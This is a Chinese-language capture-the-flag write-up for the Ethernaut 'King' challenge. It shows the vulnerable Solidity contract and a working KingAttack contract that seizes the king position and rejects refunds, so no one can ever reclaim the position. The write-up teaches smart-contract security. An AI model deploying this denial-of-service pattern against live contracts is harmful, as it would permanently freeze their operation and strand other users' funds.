Skip to main content

King

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

题目要求

这个题目是只要你支付的 ETH,即 msg.value >= prize,就可以获得国王的位置。题目要求你获得国王位置,并且提交实例的时候,程序会试图重新夺取国王位置。题目要求是能获得国王位置并且不能被重新抢走

题目分析

当我们向合约转账 msg.value >= prize的时候,我们就可以获得国王位置。难点是怎么保住国王位置不被抢夺走。这里receive方法中第二行king.transfer(msg.value);是一个突破口,也就是我们部署一个合约,通过合约先夺取国王位置,但是合约里拒绝接收 ETH 转账。这样调用king.transfer(msg.value);时就会失败

攻击步骤

  1. 实现以下攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;

interface IKing {
function prize() external view returns(uint256);
}

contract KingAttack {
function attack(address payable _king) external payable {
require(msg.value >= IKing(_king).prize(),"msg.value >= prize required");
// 这里不使用transfer或send是因为这两个方法只能携带2300GAS。不满足转账数量要求
(bool success,) = _king.call{value: msg.value}("");
require(success);
}
}
  1. 通过调用攻击合约的attack方法并支付prize相同数量的 ETH,即可获得国王位置
// 获取prize数量
(await contract.prize()).toString()
  1. 获取到国王位置以后,由于攻击合约里没有实现receivefallback方法,所以其他人来抢夺国王位置的时候 king.transfer(msg.value);会失败